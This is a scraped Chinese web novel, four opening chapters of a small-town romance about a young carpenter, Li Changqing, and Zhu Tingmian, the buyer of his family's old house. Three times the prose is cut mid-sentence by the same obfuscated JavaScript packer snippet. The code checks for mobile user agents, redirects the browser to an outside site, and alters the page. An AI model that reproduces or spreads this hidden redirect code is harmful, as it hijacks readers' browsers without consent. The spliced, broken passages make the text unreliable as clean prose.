《暗恋修缮指南[小镇]》 1. 苦夏 李长青拥有一段旷日持久的暗恋。 他远远望向主席台,女孩声音轻柔,毫无悔意地念着检讨。 “对殴打老师,我作出以下深刻检讨。” 她讲自己很抱歉对老师动手,虽然是老师侮辱在先,虽然听了许多人身攻击的词,但是学校有规定,学生不能殴打老师,虽然她并不能算是殴打,只打了一下。但老师咬死她动了手,并且因为那位老师是校长的表弟,所以她站在这里念检讨。 说得既真挚又严谨,饱含信念感,不知错也不改错的态度当即引起哗然。 台上台下乱成一片,从初一到高三,细语逐渐变为哄笑,甚至有人大喊牛逼,然后为此收获了班主任的低声指责。 李长青看见校长因为起身得太激动,顶上的假发面很骄傲地上下拍了一下,露出白鸡蛋一样光滑的脑壳。 主持人夺过话筒敷衍几句,生硬地开始颁发这学期的三好学生奖状。 李长青没听清主持人都说了些什么,他只瞧着那个女生站在半人高的主席台旁边,蓝白条纹的校服于她而言太过宽大,行走间几乎有些晃荡。 在主持人宣读三好学生名单的同时,她重新绕回主席台。 她真的很瘦,并不需要谁给她让开路,但前面几个好学生看见她靠近时都避之不及,台下居然还有保安围过去。 “秦……”年名单的主持人声音一卡。 观察到主持人或许有些为难,女孩十分善良地解围,靠过去些,笑得很好看。 “秦晴,高二七班,三好学生,很开心宣布从今天开始我会离开这个破学校。” 她说话的声音真的很好听,和她一样,美丽且锋利,骄傲且上扬。 但李长青认识她温柔的样子。 学校食堂的大叔买菜时看见有条被碾了腿的小狼犬,带回学校安置在前任护校犬的笼子里。 秦晴每天都会带着火腿肠去喂那只小狗。 其实李长青从没敢近距离正面看秦晴,青少年的暗恋被仰慕和畏惧包裹。 害怕对方太好,又害怕自己不够好。 十三岁的李长青认定,他还能在学校里听很多次秦晴弹琴,一直到他再长高一些,帅气一些。 他将会走到秦晴面前告白,如果可以,希望能够结婚。 可是秦晴突然宣布自己要离开学校,这句话对于私藏爱慕心意的少年来说,同灾难无疑。 他在失去秩序的校会里心慌,不顾老班的呼喝,拔腿去追那个往校外走的女孩。 李长青拉住人,又迅速松开手,稀里糊涂劝她一切都会好的。 虽然全程没敢抬脸。 “谢谢你来听我弹琴。”她说。 “再见。”她又说。 之后转身,李长青的视线里,那双脚离自己越来越远,她真的很瘦,校服穿在她身上很晃荡,像一阵风就能吹散的梦。 “我喜欢你啊!因为你很好!所以我喜欢你!”李长青很大声地吼了出来。 “如果以后再见到,我会娶你。” 秦晴安静得有些久,久到李长青怀疑这个世界出了点问题,否则为什么她一直不说话,为什么校园的春风里开始夹杂着老旧风扇的嘎吱声。 她突然问:“你叫什么名字?” 李长青意识到自己其实从未看清过秦晴的样子。 于是他抬起脸,试图看清面前的人,“我叫——” “小兔崽子!”怒吼炸雷一样把梦劈碎。 然后就是毫不留情的一声“啪”,痛感把人拉向现实。 三叔的鸡毛掸子早已被盘得油光滑亮,打人时产生的疼痛具有年代感。 李长青瞬间弹起,一头撞上旁边的风扇,在乱七八糟的动静里彻底失去一切回味余地。 “睡得好吧?”三叔目的达到,把鸡毛掸子安置回墙上挂着。 铺子里弥漫着陈年货物的味道,并不好闻,拿一百块肥皂泡了水来冲都冲不干净。 但李长青觉得这样的味道代表很长久,长久就是安心,他喜欢在三叔这睡觉。 本来,他中午去奶场还了瓶子,理论上应该是要回家里铺子接着车那个衣柜的门板,张婶家闺女出嫁,很急这个嫁妆。 但李长青被三叔当街拦下,因为他没能抵抗诱惑。 他这段时间太忙,忙着打衣柜,忙着送货,偶尔还要忙着揍人,没空闲进城。 三叔前两天买了几本新书回来,最新文学奖得主。三叔从不看书,但用来打窝很有效,李长青一定会上勾。 一本三十块的书可以收获一个免费劳动力,你情我愿的事儿,很是划算。 结果李长青睡了过去。 “天天喊你那亲亲,没见你小子好好谈个对象,成天做梦!”三叔拉停风扇。 “那是你这辈子没见过那样的人。”李长青搓着后背站起来,遗憾于自己还是没敢看清脸,嘟囔,“见过就忘不了。” 他身边都是货架,年轻而充满力量的身体在狭小空间中显得有些委屈,伸懒腰时撞掉了几箱红糖。 李长青常年被三叔压榨劳动力,于理货一项很是熟练,手脚麻利地完成任务。他出去时顺手在筐里捡个梨,往身上的背心裹两下就当清洁完毕,咬了一大口,打着哈欠毫无正形地靠在柜台准备看看书。 结果塑封都没撕掉,又被三叔拍了一巴掌,“别吃了。” 李长青腮里还裹着块没来及嚼的梨,震惊且含糊地问:“你现在这么抠门了?你又更年期了?” “别贫啊。”三叔说,“你家老屋那买主不是今天到吗?你要不——” 难得见三叔说话卡壳,李长青很是好奇地凑头过去。 三叔瞪他,继而叹气,“把那张桌子抬出来吧。” 看李长青没反应,三叔又抬起手。 眼看着巴掌要拍去梨上,李长青赶紧护着书躲远,“我说你打人这毛病真是。” 三叔半气半乐,“还能听见你在这事儿上教育人呢。” “别说得像我跟个恶霸似的。”李长青从冰柜上捞起自己的帆布挎包,叼着梨把书放进去,“那些有钱人不都是过来看一圈就走?什么时候搬不都一样么。” 也是近一年的事儿,政策扶持,秋芒镇有几个小景区,游客增多,城里的老板开始来买老宅做民宿。 李长青家的老屋在小镇东面,荒了几年,被收进置业委员会的名单里,李长青认真地报了个价,自那之后没事就去委员会打听,上周被通知全款买了。 全!款! 老天奶。 这个消息在李家引起轩然大波。 镇里也有其他卖老屋的,据说是近来民宿行业比较好做,大老板都喜欢跟着政策跑开发的旅游区,就是付钱时总有许多条款,没这么直接又大方的。 李家好赖是体验了一把暴富的感觉。 也没能体验全乎。 人家是把钱打进第三方账户,说是要来验货,确定好了才正式签约。 至于三叔说的那张桌子。 算是老物件,值钱也值钱不到哪去,主要是老祖在的时候一家人就在那吃饭,具有某种历史纪念意义。 李长青没那么长情,但明白小老叔这是念旧,只是支支吾吾挂不下脸来说。 三叔觉得要搬出来,就是觉得这老房子能卖掉。 李长青点头说这就去。 三叔又喊:“叫几个人帮你啊!” 李长青已经发动摩托,一溜烟去了。 “猴一样!”三叔背着手准备回铺子,隔壁猪肉店的老孙支着板凳坐下,从裤兜掏出包烟,给三叔递了一根。 “家里有长青这种小辈,你就偷着乐吧!”老孙眯着眼吐出烟,“哪像我家那小子。” “二十三了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350522|167954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一点正形没有。”三叔语气里没有责怪,叼着烟也没点,回头看李长青离开的方向。 老孙和他闲聊几句,难免又讲起买屋子的事,作为邻居,老孙没说得太直白,倒是语带希冀,“要能成,长青也松快些。” “钱啊。”三叔点了烟,重重地吸了一口。 两人的闲聊被一阵古怪的声音压盖。 “咕噜咕噜,噗,咔咔,咕噜,咔,哒。” 这条巷子路面由石板铺就,铺得乱七八糟,棱角四起,什么东西碾过去都会响,却没有过这么诡异的动静,实在让人好奇。 两人同步扭头,看见年轻女人出现在巷道口,因为一身白的原因,整个人都被太阳打得反光。 她头顶的帽檐很宽,圆乎乎地遮住脸,只能瞧见个下巴,人也瘦得很,纸一样晃过来,右手像是受了伤,裹着纱布,左手抬着手机看,身后跟着个半死不活的行李箱。 行李箱由一条拴在年轻女人腰间的彩色带子固定,跟在后头一路跌打滚爬。 走到近处,似乎是察觉到有人在看,她才把注意力从手机上挪开,把头抬起来些,脸也从帽子下露出来,很有礼貌地对着街边正在抽烟的两个人点头微笑。 然后一言不发继续往前走,好像只是和熟人打了个招呼。 有礼貌的生面孔。 三叔和老孙互相看了一眼,从彼此眼里看到了疑惑与茫然。 老孙问:“这谁家姑娘?” 三叔答:“不是镇里的吧。” 年轻女人走出去几步之后带着行李箱调了个头,又绕回来。 她左手拿着手机把自己帽檐往上翻了一些,对三叔笑道:“你好。” 三叔都被搞得局促,“你好。” “甜吗?”她又问。 三叔发现她指着梨,“甜,自家种的。” 她就不再动了,盯着那筐梨,好像正在思考什么天大的问题。 三叔看了老孙一眼,发现老孙不知什么时候也站了起来。 然后就是很轻的一声“咔嗒”。 年轻女人解开了腰间的带子卡扣,行李箱扑到地上,她也没回头看一眼,来到三叔面前给他看手机。 “请问您知道这里怎么走吗?” 三叔安静了。 那可太知道了。 老李家的房子,十分钟之前他刚让自己大侄子去那搬桌子。 “你是干嘛来?”三叔决定稳妥发问。 “我来验房。”女人回答。 三叔点点头,尽量详细地给她指了条路,她说谢谢,继而走进铺子,在货架前转了两三圈,拿了把水果刀出来放在柜台。 三叔看着那把刀,眉头跳了跳。 “真的很甜吗?”她又问了一遍,然后解释,“我最近不能吃太酸,会反胃。” 三叔表示很甜,指了指刀,“削水果啊?” 她点头,认真地挑了半天,把仅有的几个看起来就酸的梨捡了出来。 “……”三叔给她重新换了几个放去袋子里,“这些甜,自家种的不打药,你是买房的人吧,那是我家的房,咱以后且有得见呢,送你吃。” 他一面说,一面把刀拨到一边。 “刀还是要买的。”年轻女人说。 “行。”三叔一起收进袋子里,“都送你。” 她欣然接受,拎好袋子,继续拴上行李箱往得知的路线走。 三叔立马打电话给李长青他妈,“快!那买房的到了!一会就路过你家门口,你带一下……我一老男人带年轻姑娘溜达算什么事儿……长青还在老屋子里搬桌子呢……哎,那小子电话不好打,你又不是不知道。” 陈兰在电话那边问:“这怎么拦?门前来来往往那么多人。” 三叔简单说了一下年轻女人的特征,最后总结。 “你看到了就能认出来!” 2. 苦夏 李长青对于老宅的记忆停在了童年。 彼年,一家人都住这。 小孩儿在院子里举着塑料鳄鱼瞎跑,稍不留神就会撞到挂在晾衣绳上的腊肉,难免吃一顿打,被追得满院乱蹿,踩着砖缝里的苔,从爷爷跟前那嚎到三婶屋里。 那会老爸还在,身上有白酒的酱粮味,会用残留烟草味道的指头揉李长青的脸,一只手就能把小孩儿捞起来。 关于这幢屋子从哪来,一代人有一代人的传奇,最离谱的时候说过是皇帝亲赐,但不可细问是哪朝昏君。也有讲是经过了某种激烈的争斗,才九死一生抢下来的。(三叔李慎某次喝醉之后极其不慎重地如此说。) 总之,代代版本代代神。 青砖黛瓦,屋檐上翘,回廊绕院,堂屋左右是三间厢房,两间以前住老人,一间打成厨房。三层楼加起来共拥有十个房间,住过整个李家人。 李长青小学的时候全家就搬了出去。 村里开始成批建造新房,水泥路铺了进来,方正砖房拔地而起,出现了第一个小学,第一个污水处理厂,各式各样的人来开各式各样的店。 村变成镇。 什么都在变,三叔说的那张饭桌始终放在后院仓库里。 当时谁也没说要带走,好像很难判定这份回忆要属于谁。 李长青一直有随身携带工具包的习惯,平时都挂在摩托上,这桌子不拆搬不走。 他绕出院外取回工具包,再进入小仓库时,李长青的眼睛危险地眯了起来。 “怎么。”他弯起手指非常霸气地敲了敲桌面,“长青哥哥来搬你,你不满意?” “你不说话,嗯?”李长青转着手里的螺丝刀,敲了敲桌脚结合处,木头发出闷响。 李长青满意了,“我就知道,你害羞着呢。” 又饱含感情地安抚:“别怕啊,哥哥手很轻。” 李长青对桌子进行有效安抚,又故意残酷地给它讲解每一步拆解过程,为此洋洋得意,“不疼吧~” 小库房里又灰又热,眼周的汗水开始辣眼睛,李长嘟囔了两句,干脆手一掀,把背心褪下来挂脖子上充当汗巾。 因为出汗,光着的上身在昏暗的光线下泛着湿漉漉的光泽。 拆得很快,李长青才想起来问问三叔要不要送他那去。 他做活的时候习惯把手机开静音,这会拿出来才发现好几个未接来电,还没来得及回拨,新的来电再次显示。 “长青啊!” 李长青被这动静炸得偏了偏头,“什么事?” “那个狗日的又去张婶家!不过我把人轰走了!” 李长青眉头拧起来。 电话里的是孙明,狗日的是齐群。 张婶家的二丫订了婚,离出嫁也没几天,人姑娘出落得漂亮,是镇上人人认可的美女,被驰名混混齐群明恋多年,二丫已经谈好婚事,对象是个城里人。齐群眼看着追求不成,没事就去骚扰。 烦人。 “她们没事儿吧?”李长青问。 “暂时没事儿。”孙明很快说,“之后怎么办?” “还能怎么办,揍呗。”李长青偏头在脖子上的背心上擦汗,“晚点我过去。” 得了这句话,孙明不再大喊,开始抱怨。 “你说他真是脑子塞屎了,仗着人家张婶是寡妇就……” 李长青扭螺丝的动作一顿,孙明赶紧说:“长青,我不是那意思。” “没事儿。”李长青说,“我知道,先挂了啊,我三叔好像有事儿找我。” 他又给三叔回电,得知老妈已经领着买家过来了,三叔让他不行就先走,别让人逮个正着不好解释。 李长青身背桌腿,推着木盘往门外走,回答说好了,没问题。 结果才走到门口,前院炸开哗啦一声。 * “那个……”陈兰跟在人旁边,不确定怎么喊比较合适,几次想帮人拉行李箱都被拒绝了,只好说,“前面好多台阶,你箱子要磕坏了。” 陈兰果然一眼就认出了这姑娘,想着他三叔果然没说错。 丫头瘦弱,但漂亮得很明显,而且这么拖着箱子走的人,很难认错。 陈兰赶紧迎上去问:“是不是去记月巷02号看房?” 对方点头。 陈兰又问:“你一个人来啊?” 对方还是笑着点头,摇着手机说:“您稍等一下。” 陈兰就不再说话。 直到现在,眼看着马上要到石桥,这姑娘脚步没停,还在低头看手机。 陈兰生出了莽撞的念头,心想要么干脆把人扯住吧。 “竹听眠。” “啊?”陈兰没转过弯来。 竹听眠认真地自我介绍了一遍是哪三个字,然后抱歉:“对不起,刚才在处理一些很麻烦的事,请问您贵姓?” “啊,哦,陈兰,那个。”陈兰受到莫名的影响,也介绍了一遍自己的名字是哪两个字,“陈和兰。” “您好。”竹听眠用胳膊夹住手机,伸出手,“现在右手不方便,不好意思。” 好似用左手握手是多么不礼貌的事情。 陈兰跟她握手,“姑娘,我帮你拎箱子吧。” “没事儿。”竹听眠看了眼几步之外的楼梯,收回视线时顺便对几个路过打量她的人微笑一遍,自己用左手拎起了箱子下台阶。 陈兰只好快步跟上,就看她下了台阶之后重新把箱子扣在身后,继续这么连拖带拽地往前走。 “那个,家里老屋子许多年没收拾,这卖得也突然,你要是想修,我和我儿子都会一些木工活。”陈兰没话找话。 “木工?”竹听眠很有兴趣,弯着眼询问了许多专业问题,最后说,“我不是故意打听,是大学时选修过一门相关的课,很漂亮,我很喜欢木头的味道。” 陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350523|167954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰立马说:“那感情好,得空带你回家闻。” 竹听眠很愉悦地答应下来,“您说话很有意思,让人舒服。” 陈兰被夸得猝不及防,不好让话掉去地上,又讲大学好,自己儿子也上过大学,他儿子手艺活特别好,以后要是老屋翻新可以找他。 一人一句地聊着。 陈兰看这姑娘只身一人到这,带着伤,瘦得风一刮就能飞走。 实在没忍住问,“怎么没人跟着你来啊,要不我去给你喊委员会的人?” 竹听眠笑了笑:“不用的,我自己可以。” 她的手机弹出最新一条消息。 【眠眠,尽快回电给我,乖一些,好吗?】 礼貌使然,竹听眠回了一条消息。 【电。】 然后关机。 身边的阿姨很是热心,开始试图介绍在这里开民宿的好处,“这屋子打理好了住着很舒服的。” 竹听眠真诚道:“我也觉得这里很适合养老。” 陈兰似乎没料到是这个回答,“你看着多年轻啊,还上学呢吧。” “二十六啦。”竹听眠回答她。 陈兰笑呵呵说:“那你比我儿子大三岁。” 竹听眠看了她一眼,笑了笑。 拐过弯,陈兰指给她看,说就是那一幢,“这一条巷子以前都住着人,别怕空着,我儿子经常回来检——” 她的语言停止了。 竹听眠顺着她指的方向看过去,瞧见了一地碎砖。 陈兰惊呼着疾步过去,竹听眠也拖着自己的行李箱慢慢地跟过去凑热闹。 几步距离,听得见院里叮呤咣啷的响动。 一大块木板欢欢喜喜地往外滚。 陈兰喊了声“天爷”就拦在竹听眠身前,做好扶住木板的准备。 人影从门内冲出来,并着喊:“妈!” 他急急拦住木板,又因为惯性往前两步,连人带板撞去了门框上。 门框居然都没有这位的身体结实,被撞出个洞。 令人惊讶。 竹听眠颇有兴趣,很想过去戳一下那个门框,试试自己行不行。 才往前一步,人就被陈兰拽住,“小心——” 她话音未落,冲撞的连锁反应已然发生,门框彻底散落,烟尘四起木屑乱飞。阳光遍泼,裹挟木渣的空气被烤得很香,也有些呛人。 光着身子居然能撞出这种效果,竹听眠难免细细去看这个年轻男人的身体。 先前出于礼貌,她选择把视线放在那块木板上。 这会隔着木屑飞灰去看。 他肩膀宽阔,肌肉线条分明,皮肤是很健康的麦色,汗水被晒得反光,身子和头脸都沾了不少木屑,被汗水黏住,有些狼狈。 再看脸。 竹听眠很认真地看了几秒,然后笑了起来,询问一般念出了个名字。 “李长青?” 3. 苦夏 八仙桌这大块板子并不是可以从前门离开的形状,只能从后门离开。 李长青没料到前院被砸。 院墙塌了一地,碎砖之外,砸墙者和李长青对上视线,对方面上出现刹那惊讶,但立马变换脸色,抛出个极其恶劣的笑容。 “我说你躲哪去了。” 齐群。 他去张婶家现眼被孙明拦下,肯定不会痛快,掉头就来搞破坏。 这个动线很好猜。 而且,李家这老屋卖出去的消息早已传遍整个小镇,买家和委员会约定今日来验收也不是什么秘密。 不乐意看这笔买卖成交李家拿钱的大有人在,譬如齐群。 隔着残墙一堵,两人相隔不过十步,李长青完全可以跨过去逮人。 “你不想要钱是吗?” 齐群冷笑:“老子信你个杀人犯的儿子卖了房会赔钱,我他妈——” 李长青脸一沉,所有莫须有的指责都会就此停下。 他眯着眼,下颌瞬间绷紧,没有多余的言语或动作,仅仅只是站在那里,沉默地注视着,足以让人感受到压力。 尤其是多年来没少被收拾的齐群。 良久,李长青才说:“我爸不是杀人犯,这件事我记得和你讲过很多回。” 在过去每一次齐群被李长青殴打的日子里。 齐群挑衅多年,自然有了经验。 别看这李长青平日里乐得跟个狗一样,但他从不用嘴巴说自己不开心,以前拎着斧子拦住门也不是没有过,那样的眼神,就是谁再往前就砍死谁。 想起那个画面,齐群缩了缩脖子,指着李长青放狠话,“别管老子的事儿。” 他像是想走,李长青始终没追过去,只是喊了他一声,然后说:“你再去张婶家,我会动手。” “老子怕你!”齐群回头吼他,离开前顺脚把李长青的摩托踹倒。 李长青的视线滑向地上那堆碎砖。 墙倒了,压住张老藤椅。 以前很多人都会在这个位置,坐在这张椅子上,哈哈笑着,和院外随便哪个人侃大山。 比如老爸。 李长青看了几秒,又回忆了几秒。 最终拽了拽身上背着桌腿的背带,把桌盘滚去院里那棵老枣树边靠着。 然后他过去扒开碎砖,想要把那张椅子拽出来。 之后所有事情都变成了连环的意外。 蒸笼天气,空气凝滞,极其闷热。 李长青蹲在墙边,扒拉一张再无用处的藤椅。 突然,他听见极其细微的,木质断裂的声音。 如同叹息一声。 没有预兆,没有征兆。 像是突然崩塌的倦怠,老树轰然折断。 桌板成了无辜的受害者,被吓得满地乱滚。 院墙被砸,老树轰然一倒,李长青无语到想笑。 他挤了挤右眼,把即将滑下来的汗珠压平,接着用下唇盖住上唇,往自己脑门呼了口气,吹了下额前挂着汗的头发,算作给自己一丝清凉,好让自己尽快冷静下来。 结果听见老妈在院门外惊呼。 再瞧桌板已然逃命至门框。 门框经年累月经历潮湿和干燥,里头塞满了白蚁和木蠹虫,如今能勉强站在这都算是虚假繁荣,绝对拦不住那木板。 当然也扛不住人撞。 李长青偏头呸去嘴里不慎含进去的木渣,刚想问老妈吓到没,这才瞧见那个年轻女人。 在这个被暑热困住的日子里。 他身在废墟和尘埃里,迎上她直白的目光。 听见她叫了自己的名字。 凭心而论,李长青认为这是个美女,鼻子是鼻子,眼是眼,白得像雪一样,好看。 但是。 李长青很快从她脸上挪开视线,看向陈兰,“妈,这位是?” 陈兰应该是没听见这句话,喊着“哎哟”就过去给儿子拍身上的灰尘。 “哎,妈,别拍了,我自己——”李长青被拍得piapia作响。 细小的灰尘重新扬起,在阳光下化作细小的光点四散飞舞。 他只好眯起眼,视线变得狭窄且模糊,捕捉到那个年轻女人正凝望自己,不是好奇或是嘲笑。 是一种无法理解的审视。 视线在混沌的灰尘中短暂交汇。 接着,竹听眠低下头,轻笑出声,随后缓缓地呼出一口气,再抬起脸,她的微笑停留在礼貌的尺度上。 她往前一步,做了自己很好奇的事。 伸出左手戳那个门框。 随着指尖的力气压下去,残渣窸窸窣窣下坠。 手感果然很脆。 “姑娘,我家能做门框。”陈兰立马说,听起来真的很怕她不满意。 竹听眠抬头打量整个院门,随着她视线划过,身边这对母子也稍微让了一些,力所能及地做些什么。 “能修吗?”所以竹听眠只问了一句。 “能。”李长青回答。 竹听眠看了他一眼,“好。” 李长青觉得有必要回应,于是“嗯”了一声。 竹听眠解开腰间拴着行李箱的背带,拎着梨,抬脚踏进院子。 行李箱五体投地,又砸起一圈灰。 李长青看看箱子,又看看她的背影。 第一次见到虐待行李箱的人。 这箱子本该是雪白的,李长青认得上面的标志,这个牌子的东西都十分昂贵。但它此刻伤痕累累,一头倒进灰土碎渣里。 李长青把行李箱扶了起来,“妈,这是买家?” 陈兰点头,又拧着眉偏头去瞧断墙,小声问:“怎么弄的?” 李长青讲了个齐群的名字。 陈兰没控制住声音“啊”了一声,眉毛皱得更厉害了,小声喃喃:“这孩子真是……” 李长青拍了拍老妈的后背安抚,又抱了一下她,“没事儿,我去给人好好介绍。” 陈兰:“能行吗?” “行不行的再说吧,”李长青说,“我尽力。” 陈兰对儿子笑笑,“那要我帮什么吗?要不然让你三叔来说?我陪着你们一起吧,我这——” “妈,老妈,”李长青按着老妈肩膀,让她别着急,“没事儿的,你先回吧,我一会问问她用不用叫委员会的人过来。” 竹听眠正在观察着院里倒掉的树,听见陈兰小声喊了个什么,回头去瞧,看见李长青抱了他妈妈一下,也看见被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350524|167954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己那个被扶起来,靠着墙的行李箱。 视线停顿了几秒才收回去,她继续蹲地上研究倒掉的树,摸摸这,又戳戳那。 “小心划手。”李长青在她后面突然出声。 竹听眠被吓得一颤,接着继续摸着老树干。 背影比较倔强。 李长青没明白这沉默是什么意思,只好先蹲在她身边,“我们不是要瞒着你拿东西,那张老桌一直放在仓库,没收拾出来,如果你要买,合同里只写了土地和房屋使用权,东西我们都是要拿走的,墙是意外,我们负责修。” 如果还有之后的话。 毕竟当场被人撞见,该说明的还是需要解释到位。 “好的,”竹听眠点头,又说,“那张桌子很大。” 这就让李长青不明白什么意思了,又说了一遍会划手,并表示这棵老树根他也会处理。 对方不语,一昧点头。 李长青清清嗓,把这院子带老屋统共多大,几层楼几间屋说了一遍,“不过这些你合同上应该有,一般看房置业委员那边有人陪同的,要联系吗?” “不要,”竹听眠当即拒绝,又说,“而且我没看过合同。” 李长青从没发现自己这么笨嘴拙腮,否则怎么一句话都接不了? “这样,多久能住人啊?”她仰头看了一圈。 李长青说:“收拾整理翻新,一个多月,要是舍得请人,加工加点,半个月也行,框架没问题,细处得好好弄。” “现在不行?”竹听眠又问。 “灰大,水电没维修也不安全。”李长青注意到她的右手受伤。 绷带的颜色几乎和她的皮肤融为一体,但那专业扎实的包扎显然不是什么普通伤口,整个掌心都被裹得严严实实,只露出苍白的指尖。 李长青没打算问,看她真的对断掉的这棵树很感兴趣,就蹲在旁边陪她看,自己也莫名手闲起来,跟着东戳西摸。 竹听眠看着人,发现他真是和读书的时候很不相同了。 她对李长青的记忆并不多,但比较深刻。 高中那天,她大闹校会,看似畅快,总归也是初犯,走向校门时还有些手抖。 李长青穿过人群送来安慰,还附赠了个告白。 如今看来,这个告白,也并没有太多诚意。 是自己变了太多么? 改了个名,又不是换了个头。 竹听眠对此怀疑,拿着手机,用黑色的屏幕照脸,认定自己没有问题。 破案了,李长青有大问题。 竹听眠又看了人一眼。 李长青正回忆着别家卖掉老屋,都是一堆人来验房,闹闹腾腾东问西问。 蹲这算怎么个事儿? 她手里这袋梨看着很眼熟,不晓得三叔有没有乱喊价。 “走吧,你带我转转?”她终于提出建议。 李长青立马起身。 他还是很希望把老屋卖出去的,决定尽人事。 李长青迅速在脑海里过了一遍路线,“那我先带你看厢房。” 他走了几步,没听见身后有人跟上来,疑惑地回头。 竹听眠拎着梨,笑眯眯地问他:“你准备什么时候把衣服穿上呢?” 4. 苦夏 李长青低头看了看自己。 “不好意思,现在就穿。”他把背心拽下来抖了抖,囫囵套上。 竹听眠挎住梨,伸出手,“竹听眠,竹子,听话,入眠。” 李长青和她虚虚一握,“李长青。” “我知道。”竹听眠收回手。 李长青没多想,大概是老妈领着人过来时讲起过,他朝院子扬了扬脑袋,“这边请。” 他一边走一边介绍,顺便把自己整理好的可以怎么翻新也建议出来。 偏头看见她正悄悄点头,一副认真思索的模样。 李长青其实不太擅长和年轻姑娘单独相处,但看老妈刚才因为齐群的事儿紧张起来,也不忍心让老妈再面对这个可能会困难的局面。 竹听眠的脸很小,棱角柔和又不失清晰,垂眼思量时,睫毛的阴影打至眼下,轻轻扇动,白皙细腻的皮肤上,嘴角总是挂着笑,轻微的一个弧度,不好辨认本人到底心情如何。 这样不太礼貌,但等李长青注意到自己过于明显地盯着那张嘴时,那张嘴上下启合,说了句话。 “介绍房子怎么看着我呢?” 李长青迅速扭头,吸气的同时还被自己呛了一口,偏头抵拳咳了几声,再去看,竹听眠还是笑盈盈地看着自己,好像很希望就刚才那个问题得到一个答案。 “对不起,我是在想下一个房间怎么介绍。” 竹听眠看出了他的局促,偏要继续问:“下一个房间在我脸上吗?” 问得一点余地都没有,李长青总不能解释自己是觉得她有点眼熟吧。 这样听起来更像拙劣的搭讪。 李长青感到窘迫,只能低声道歉:“……对不起。” 他不再看人,迅速走出房间,“一楼这几个房间就是这样,我带你上楼看。” “李长青。”竹听眠望着他的背影喊了一声,把人喊得停住脚步,“你现在不看我了,所以不知道我走得慢。” “……”李长青放慢脚步,接下来看天看地看墙看窗,就是不再看人,开启全自动介绍模式,听见问题也会很快给出回答。 置业小李的介绍工作终于走上了正轨。 楼上楼下转悠一圈,竹听眠觉得比较满意,就是身子有些疲累。 算算时间,她从医院里面偷跑出来到现在,前后还不超过四十八个小时,躺了大半个月,还没开始复健,现在又是拖着箱子,又是来回走动参观,腿肚子已然开始酸泛。 “水管还能用吗?”竹听眠问走在前头的小青年。 “可以,”李长青先回答,又说,“卖出去的那一天我来检查过,水电管道都有老化迹象,所以刚才建议你一定要检查翻新。” “嗯嗯嗯,”竹听眠配合着声音点了三下头,还是问,“所以水管能用吗?” 看起来只想听到自己希望的答案。 李长青叹了口气,“能用,多放一会水。” 竹听眠立马请求他带自己过去。 考虑到她或许要洗脸洗手,李长青没有带她进厨房,而是领着人去了后院仓库旁的水池。 又想竹听眠真的胆子很大,自己一个人跑过来不说,陌生人上哪她也不多问,就这么跟着。 老式水龙头泛着铜青,李长青嘎吱嘎吱拧了两下,出水口先是涌出股红褐的水,哗啦啦响起来。 同时,他听到身边的竹听眠低呼了一声,很惊讶的样子。 李长青克制住了转头去看的冲动,只盯着水流看,等它彻底变得清澈。 竹听眠却没再看水,而是专注地看面前这个小青年。 轮廓是成熟坚毅的,看不太出当年那个瘦条的少年样,低头调试水龙头,不知道是不是因为刚才被逗狠了,话都不多讲。 李长青伸手在水下试了试,又抬到鼻子面前闻了一下,最后才转头说话。 “可以了。” 他顿了顿,又补充:“这条管道情况还算好,如果你决定下来,我给你联系师傅,价格公道,手艺也好。” 带着人里外绕了一圈,李长青觉得这屋子还是有希望能卖得出去的。 “好的。”竹听眠很认真地答应下来。 李长青等了一会,没等到她继续聊购房的事情,只好站到一旁,把位置让给她。 竹听眠先洗手,用左手沾了水,细致地擦洗右手的指头。 过程有些漫长。 李长青注意到她袖子垂得很低,被沾湿不少,“你的袖子。” 他隔着半米指了指她的右手。 竹听眠又道声谢,操纵右手露在纱布外的指头捻住左手袖子往上提。 白皙的手臂就此露了出来。 在现代社会,这本不是什么需要特别避嫌的部位,但李长青还是立马偏开了头。 然而,余光里却注意到那片白皙上有几块异常的颜色。 他难免转头过去瞧。 发现竹听眠手臂上有几块大小不一的红紫色淤青,靠近手腕的地方红肿一片。 李长青皱了皱眉,没忍住问:“你这……” 竹听眠专注于洗手,头也没抬,平静地给出说明:“前段时间住院,埋留置针。” 说着,从旁边袋子里拿出梨,明显是准备用这只手去洗。 李长青上前几步,伸出手,“我来吧。” 竹听眠没有跟他客套,把梨放到他手里。 “谢啦。”她又道谢。 “不用。”李长青迅速看了她一眼。 把梨洗好,发现人不知什么时候绕进了仓库里,正好奇地打量地上的工具包。 按照计划,李长青本该在这拆了桌子,然后从后门离开,背着桌腿就没好拿工具包,想晚些来取。 “我刚才在这拆桌子。”李长青说。 